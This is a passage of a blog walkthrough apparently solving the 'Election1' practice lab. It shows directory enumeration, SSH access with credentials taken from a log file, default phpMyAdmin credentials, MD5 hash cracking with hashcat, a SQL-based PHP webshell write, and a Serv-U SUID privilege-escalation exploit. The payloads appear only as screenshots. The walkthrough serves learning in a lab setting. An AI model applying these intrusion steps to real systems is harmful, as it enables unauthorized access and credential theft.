<strong>Gobuster</strong> again on the <strong>/admin</strong> directory to check for hidden files or subdirectories that might contain valuable information for exploitation.</p><pre><br>┌──(kali㉿kali)-[~/…/pg/play/Election1/scan]<br>└─$ gobuster dir -u http://192.168.231.211/election/admin/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt  -k -t 30  -o election-admin--gobuster.txt<br><br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://192.168.231.211/election/admin/<br>[+] Method:                  GET<br>[+] Threads:                 30<br>[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/plugins              (Status: 301) [Size: 335] [--&gt; http://192.168.231.211/election/admin/plugins/]<br>/img                  (Status: 301) [Size: 331] [--&gt; http://192.168.231.211/election/admin/img/]<br>/logs                 (Status: 301) [Size: 332] [--&gt; http://192.168.231.211/election/admin/logs/]<br>/inc                  (Status: 301) [Size: 331] [--&gt; http://192.168.231.211/election/admin/inc/]<br>/ajax                 (Status: 301) [Size: 332] [--&gt; http://192.168.231.211/election/admin/ajax/]<br>/css                  (Status: 301) [Size: 331] [--&gt; http://192.168.231.211/election/admin/css/]<br>/components           (Status: 301) [Size: 338] [--&gt; http://192.168.231.211/election/admin/components/]<br>===============================================================<br>Finished<br>===============================================================</pre><p>We discovered a <strong>/logs</strong> directory, which looks interesting. It may contain sensitive information such as credentials or system logs that could help in further exploitation.</p><p>when i vist<a href="http://192.168.231.211/election/admin/logs/"><strong> http://192.168.231.211/election/admin/logs</strong></a><strong>. </strong>i saw <strong>system.log</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iBMr93pJcfNV1UpocDUWYA.png" /></figure><p>lets view the <strong>system.log</strong> file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WIv7HybIfuSS5G5Tq_q8lA.png" /></figure><p>After performing extensive enumeration, we found something valuable. Now, we have the <strong>username: love</strong> and <strong>password: P@$$w0rd@123</strong>, which we can use to log in to SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*nvdjlISCj4MTcL-JN472ww.png" /></figure><p>We can validate our credentials for <strong>SSH</strong> using <strong>NetExec</strong> to confirm if they are correct before proceeding further.</p><pre>┌──(kali㉿kali)-[~/…/ctf/pg/play/Election1]<br>└─$ netexec ssh $IP -u users.txt -p passwords.txt                                   <br>SSH         192.168.231.211 22     192.168.231.211  [*] SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3<br>SSH         192.168.231.211 22     192.168.231.211  [+] love:P@$$w0rd@123  Linux - Shell access!</pre><p>Let’s log in to <strong>SSH</strong> using the <strong>love</strong> user credentials and explore the system further.</p><pre>$ ssh love@$IP               <br>The authenticity of host &#39;192.168.231.211 (192.168.231.211)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:z1Xg/pSBrK8rLIMLyeb0L7CS1YL4g7BgCK95moiAYhQ.<br>This host key is known by the following other names/addresses:<br>    ~/.ssh/known_hosts:1: [hashed name]<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;192.168.231.211&#39; (ED25519) to the list of known hosts.<br>love@192.168.231.211&#39;s password: <br>Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.4.0-120-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br><br> * Canonical Livepatch is available for installation.<br>   - Reduce system reboots and improve kernel security. Activate at:<br>     https://ubuntu.com/livepatch<br><br>366 packages can be updated.<br>239 updates are security updates.<br><br>Your Hardware Enablement Stack (HWE) is supported until April 2023.<br>*** System restart required ***<br>Last login: Thu Apr  9 23:19:28 2020 from 192.168.1.5<br>love@election:~$ whoami<br>love<br>love@election:~$ hostname<br>election<br>love@election:~$</pre><h3>Privilege Escalation</h3><p>After logging into <strong>SSH</strong>, I checked for <strong>SUID binaries</strong> and found an uncommon binary: <strong>Serv-U</strong>. Upon searching for exploits, I found an <strong>exploit on Exploit-DB</strong>: <a href="https://www.exploit-db.com/exploits/47009">https://www.exploit-db.com/exploits/47009</a>, which we can use to escalate privileges.</p><pre>love@election:/tmp$ find / -perm -u=s -type f 2&gt;/dev/null<br><br>/usr/bin/arping<br>/usr/bin/passwd<br>/usr/bin/pkexec<br>/usr/bin/traceroute6.iputils<br>/usr/bin/newgrp<br>/usr/bin/chsh<br>/usr/bin/chfn<br>/usr/bin/gpasswd<br>/usr/bin/sudo<br>/usr/sbin/pppd<br>/usr/local/Serv-U/Serv-U<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/xorg/Xorg.wrap<br>/bin/fusermount<br>/bin/ping<br>/bin/umount<br>/bin/mount<br>/bin/su</pre><p>Let’s save the <strong>exploit</strong> and execute it to obtain a <strong>root shell</strong> on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*leSCgjTeF8reeOLR55VNQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*rLo-dSzD5U9-O_tHd231zg.jpeg" /></figure><p>We successfully <strong>exploited</strong> the machine, and now we have a <strong>root shell</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MsvRI1drTs7vtV0wZZHcew.png" /></figure><h3>METHOD 2</h3><p>Let’s exploit the machine using <strong>Method 2</strong>, assuming we never found any credentials in <strong>system.log</strong>. We’ll explore an alternative attack path to gain access and escalate privileges.</p><p>Now, we have the <strong>phpMyAdmin</strong> login page. First, I tried <strong>root</strong> with a blank password, but it didn’t work. However, when I tried <strong>root:toor</strong>, I was able to log in successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1KhqanOtMKmccieoVW5C1Q.png" /></figure><p>After logging into <strong>phpMyAdmin</strong>, I found the <strong>MD5 password hash</strong> for the <strong>love</strong> user. Now, we can attempt to crack it to retrieve the plaintext password. <strong>love:bb113886b0513a9d882e3caa5cd73314</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6mKDDysj0xGkRYpoahgdhA.png" /></figure><p>I successfully cracked the MD5 hash of the user <strong>love</strong> using Hashcat with the <strong>best64 rule</strong>, revealing the plaintext password: <strong>Zxc123!@#</strong>.</p><pre>D:\Hacking softwares\hashcat-6.2.6\hashcat-6.2.6&gt;hashcat hash.txt rockyou.txt -d 1 -m 0 -r rules/best64.rule<br>hashcat (v6.2.6) starting<br><br><br>[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =&gt;<br><br>Session..........: hashcat<br>Status...........: Running<br>Hash.Mode........: 0 (MD5)<br>Hash.Target......: bb113886b0513a9d882e3caa5cd73314<br>Time.Started.....: Mon Mar 17 12:25:03 2025 (1 sec)<br>Time.Estimated...: Mon Mar 17 12:25:12 2025 (8 secs)<br>Kernel.Feature...: Pure Kernel<br>Guess.Base.......: File (rockyou.txt)<br>Guess.Mod........: Rules (rules/best64.rule)<br>Guess.Queue......: 1/1 (100.00%)<br>Speed.#1.........:   125.9 MH/s (4.99ms) @ Accel:128 Loops:77 Thr:32 Vec:1<br>Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)<br>Progress.........: 88309760/1104517799 (8.00%)<br>Rejected.........: 0/88309760 (0.00%)<br>Restore.Point....: 1146880/14344387 (8.00%)<br>Restore.Sub.#1...: Salt:0 Amplifier:0-77 Iteration:0-77<br>Candidate.Engine.: Device Generator<br>Candidates.#1....: younger2 -&gt; terste<br>Hardware.Mon.#1..: Temp: 45c Util: 32% Core:1965MHz Mem:7000MHz Bus:8<br><br>bb113886b0513a9d882e3caa5cd73314:Zxc123!@#<br><br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 0 (MD5)<br>Hash.Target......: bb113886b0513a9d882e3caa5cd73314<br>Time.Started.....: Mon Mar 17 12:25:03 2025 (2 secs)<br>Time.Estimated...: Mon Mar 17 12:25:05 2025 (0 secs)<br>Kernel.Feature...: Pure Kernel<br>Guess.Base.......: File (rockyou.txt)<br>Guess.Mod........: Rules (rules/best64.rule)<br>Guess.Queue......: 1/1 (100.00%)<br>Speed.#1.........:   124.6 MH/s (5.11ms) @ Accel:128 Loops:77 Thr:32 Vec:1<br>Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)<br>Progress.........: 195543040/1104517799 (17.70%)<br>Rejected.........: 0/195543040 (0.00%)<br>Restore.Point....: 2457600/14344387 (17.13%)<br>Restore.Sub.#1...: Salt:0 Amplifier:0-77 Iteration:0-77<br>Candidate.Engine.: Device Generator<br>Candidates.#1....: **meg** -&gt; zal1kz<br>Hardware.Mon.#1..: Temp: 46c Util: 21% Core:1965MHz Mem:7000MHz Bus:8<br><br>Started: Mon Mar 17 12:25:01 2025<br>Stopped: Mon Mar 17 12:25:06 2025</pre><p>I tried logging into <strong>SSH</strong> with the newly cracked password for both <strong>root</strong> and <strong>love</strong> users, but it didn’t work. Now, I will look for another way to gain access. We will use this password for further enumeration.</p><p>Now click on <strong>new</strong> to create a <strong>database</strong>. and then Give a name to your database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20sUlK2MVNnPk4gU7zhvHQ.png" /></figure><p>Now you can see the our database is here <strong>OFFSEC IS HERE,</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Til3bvAztXfUSa3Z71zsXA.png" /></figure><p>Now, click on the <strong>SQL</strong> tab, where we can enter and execute <strong>SQL queries</strong>.</p><p>Now, insert the <strong>PHP payload</strong> to write a file in <strong>/var/www/html/</strong> and then click the <strong>Go</strong> button to execute the query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nkm1uhT5XjgKCeCaXXCUFA.png" /></figure><p>Now, we have found another way to achieve <strong>Remote Code Execution (RCE)</strong> on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAt_5QQCpxfDx8gMlgqHPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JjteTQz8CjQYagh-iUh-_w.png" /></figure><p>After gaining a shell as <strong>www-data</strong>, I <strong>upgraded</strong> the <strong>TTY shell</strong> using <strong>Python3</strong> for better stability and interaction</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qE1AFPChHzo_v-IN5xT3CQ.png" /></figure><p>Whenever I get a shell, I always <strong>search for sensitive files</strong> like <strong>config, zip, tar, .bak, .old, .kdbx, .txt, .log</strong>, and many more that might contain valuable information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9siGcHueIzj8A5JT9dvFA.png" /></figure><p>Let’s read the <strong>system.log</strong> file to check for the <strong>plaintext password</strong> of the <strong>love</strong> user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cba8hwq4I9FB9dPNVmKxoA.png" /></figure><h3>Method 3</h3><p>Let’s exploit the <strong>Web-Based Election System — Tripath Projects</strong>. After some <strong>Googling</strong>, I found that this service is vulnerable to <strong>Election 2.0 Authenticated Remote Code Execution (RCE)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0Fi1dO9Exy-qE6uNLPQIg.png" /></figure><p>With some <strong>Google magic</strong>, I found the <strong>admin’s ID</strong>, which is <strong>1234</strong>.</p><p><a href="https://sourceforge.net/p/election-by-tripath/wiki/Documentation%20-%20Installer%20Guide/">eLection Wiki</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUZdrCdV8zsBpTWw7FTV6Q.png" /></figure><p>When I entered the <strong>admin ID (1234)</strong>, it now prompts for a <strong>password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zIl5XkcMYeKtk8UYrTGBcQ.png" /></figure><p>When I saw this, I literally felt like this.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F6739407234590627280&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fen-GB%2Fview%2Fbaby-crying-kid-highchair-sob-gif-6739407234590627280&amp;image=https%3A%2F%2Fmedia.tenor.com%2FXYcvLEZ41dAAAAAN%2Fbaby-crying.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/0c7fa1127bcf6396d9bfcd4dc144b249/href">https://medium.com/media/0c7fa1127bcf6396d9bfcd4dc144b249/href</a></iframe><p>So, what’s next? I tried entering <strong>Zxc123!@#</strong>, which we found in <strong>phpMyAdmin</strong>, and it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRRFwtUFTCLJRHQylO0_kg.png" /></figure><p>Now Navigate to “Candidates” from the sidebar and click “Add Candidate”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mlHKr2lFli8_TzsYolxW_w.png" /></figure><p>Then, I set up <strong>Burp Suite</strong> and hit <strong>Click</strong> to capture the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rmHZSBTAOVikQazpA0WXMA.png" /></figure><p>I identified a <strong>SQL Injection</strong> vulnerability in the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GmgwU5sdhU58MDElvqjznQ.png" /></figure><p>Then, I detected the <strong>number of columns</strong> using the ORDER BY clause, incrementing the number until I found the correct value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ObUQUvQvS3YLpn8YQL91Q.png" /></figure><p>After enumerating the columns, I found that our SQL query fails at <strong>6</strong>, which means the database has <strong>5 columns</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uipJAglHK9v2WDeF3PjDzA.png" /></figure><p>After enumerating the columns, I wrote a <strong>PHP file</strong> in /var/www/html/ to achieve remote code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCrZB-2zlIc1a73vyJRWtQ.png" /></figure><p>Now we another way to achived rce on target system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mmSogBbNnzwz5tczt7-eEw.png" /></figure><p>let’s get stable shell with busybox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6UzVdhatKUxmQ1O-LTFbHQ.png" /></figure><p><strong>Thank You!</strong> If you made it this far, I truly appreciate it. I’m also a learner like you, and I would love to hear your feedback for my future walkthroughs. Let’s improve together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73db7e739b6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>